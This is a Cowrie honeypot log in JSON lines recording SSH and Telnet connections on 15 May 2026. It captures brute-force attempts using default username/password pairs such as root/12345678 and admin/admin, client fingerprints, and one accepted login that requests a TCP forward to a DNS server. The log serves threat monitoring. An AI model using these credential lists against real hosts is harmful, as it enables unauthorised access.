{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:37.685413Z","src_ip":"45.153.34.114","session":"11117e6ab711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41522,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5b286f69a7f","protocol":"ssh","message":"New connection: 103.75.199.4:41522 (159.203.135.109:22) [session: b5b286f69a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:38.922525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:38.927635Z","src_ip":"103.75.199.4","session":"b5b286f69a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:39.019512Z","src_ip":"103.75.199.4","session":"b5b286f69a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:39.293866Z","src_ip":"103.75.199.4","session":"b5b286f69a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:40.388579Z","src_ip":"103.75.199.4","session":"b5b286f69a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.162978172302246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:40.467341Z","src_ip":"74.91.213.120","session":"af572ca96669","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14912724494934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:40.724532Z","src_ip":"74.91.213.120","session":"8a9dc375d504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59854,"dst_ip":"159.203.135.109","dst_port":22,"session":"2df4556637c1","protocol":"ssh","message":"New connection: 45.153.34.114:59854 (159.203.135.109:22) [session: 2df4556637c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:44.042503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:44.047667Z","src_ip":"45.153.34.114","session":"2df4556637c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:44.136721Z","src_ip":"45.153.34.114","session":"2df4556637c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:44.399142Z","src_ip":"45.153.34.114","session":"2df4556637c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:45.491662Z","src_ip":"45.153.34.114","session":"2df4556637c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47906,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e23f76b42ef","protocol":"telnet","message":"New connection: 74.91.213.120:47906 (159.203.135.109:23) [session: 6e23f76b42ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:48.222287Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40000,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc764ac39d28","protocol":"ssh","message":"New connection: 45.153.34.114:40000 (159.203.135.109:22) [session: fc764ac39d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:51.607181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:51.612215Z","src_ip":"45.153.34.114","session":"fc764ac39d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:51.697078Z","src_ip":"45.153.34.114","session":"fc764ac39d28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:52.220105Z","src_ip":"45.153.34.114","session":"fc764ac39d28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47912,"dst_ip":"159.203.135.109","dst_port":23,"session":"0109c02ec775","protocol":"telnet","message":"New connection: 74.91.213.120:47912 (159.203.135.109:23) [session: 0109c02ec775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:52.336939Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:53.314476Z","src_ip":"45.153.34.114","session":"fc764ac39d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.77224040031433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:55.145379Z","src_ip":"74.91.213.120","session":"ff6d9012b0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48232,"dst_ip":"159.203.135.109","dst_port":22,"session":"714ec400dd57","protocol":"ssh","message":"New connection: 45.153.34.114:48232 (159.203.135.109:22) [session: 714ec400dd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:59.487246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:59.492335Z","src_ip":"45.153.34.114","session":"714ec400dd57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:59.701780Z","src_ip":"45.153.34.114","session":"714ec400dd57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:59.992136Z","src_ip":"45.153.34.114","session":"714ec400dd57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48126,"dst_ip":"159.203.135.109","dst_port":22,"session":"7be8ee0b6140","protocol":"ssh","message":"New connection: 103.75.199.4:48126 (159.203.135.109:22) [session: 7be8ee0b6140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:00.788671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:00.794254Z","src_ip":"103.75.199.4","session":"7be8ee0b6140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:00.886423Z","src_ip":"103.75.199.4","session":"7be8ee0b6140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:01.078256Z","src_ip":"45.153.34.114","session":"714ec400dd57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:01.161172Z","src_ip":"103.75.199.4","session":"7be8ee0b6140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":55236,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b04245da549","protocol":"telnet","message":"New connection: 74.91.213.120:55236 (159.203.135.109:23) [session: 6b04245da549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:01.552741Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:02.259084Z","src_ip":"103.75.199.4","session":"7be8ee0b6140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.137897491455078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:02.746433Z","src_ip":"74.91.213.120","session":"45d1c5118c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25212335586548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:02.881810Z","src_ip":"74.91.213.120","session":"5066df6a4438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9366,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e776dabdf8d","protocol":"ssh","message":"New connection: 87.251.64.176:9366 (10.17.0.5:22) [session: 0e776dabdf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:03.451058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:03.457970Z","src_ip":"87.251.64.176","session":"0e776dabdf8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:03.559324Z","src_ip":"87.251.64.176","session":"0e776dabdf8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:03.862303Z","src_ip":"87.251.64.176","session":"0e776dabdf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:03.965981Z","session":"0e776dabdf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:04.070141Z","src_ip":"87.251.64.176","session":"0e776dabdf8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":55240,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b4699e7af56","protocol":"telnet","message":"New connection: 74.91.213.120:55240 (159.203.135.109:23) [session: 7b4699e7af56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:04.221341Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:04.314826Z","src_ip":"87.251.64.176","session":"0e776dabdf8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48240,"dst_ip":"159.203.135.109","dst_port":22,"session":"1228f37f1659","protocol":"ssh","message":"New connection: 45.153.34.114:48240 (159.203.135.109:22) [session: 1228f37f1659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:07.914590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:07.919669Z","src_ip":"45.153.34.114","session":"1228f37f1659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:08.009050Z","src_ip":"45.153.34.114","session":"1228f37f1659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:08.446573Z","src_ip":"45.153.34.114","session":"1228f37f1659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14035964012146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:08.780567Z","src_ip":"74.91.213.120","session":"447755a82b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:15:09.537528Z","src_ip":"45.153.34.114","session":"1228f37f1659","protocol":"ssh"}
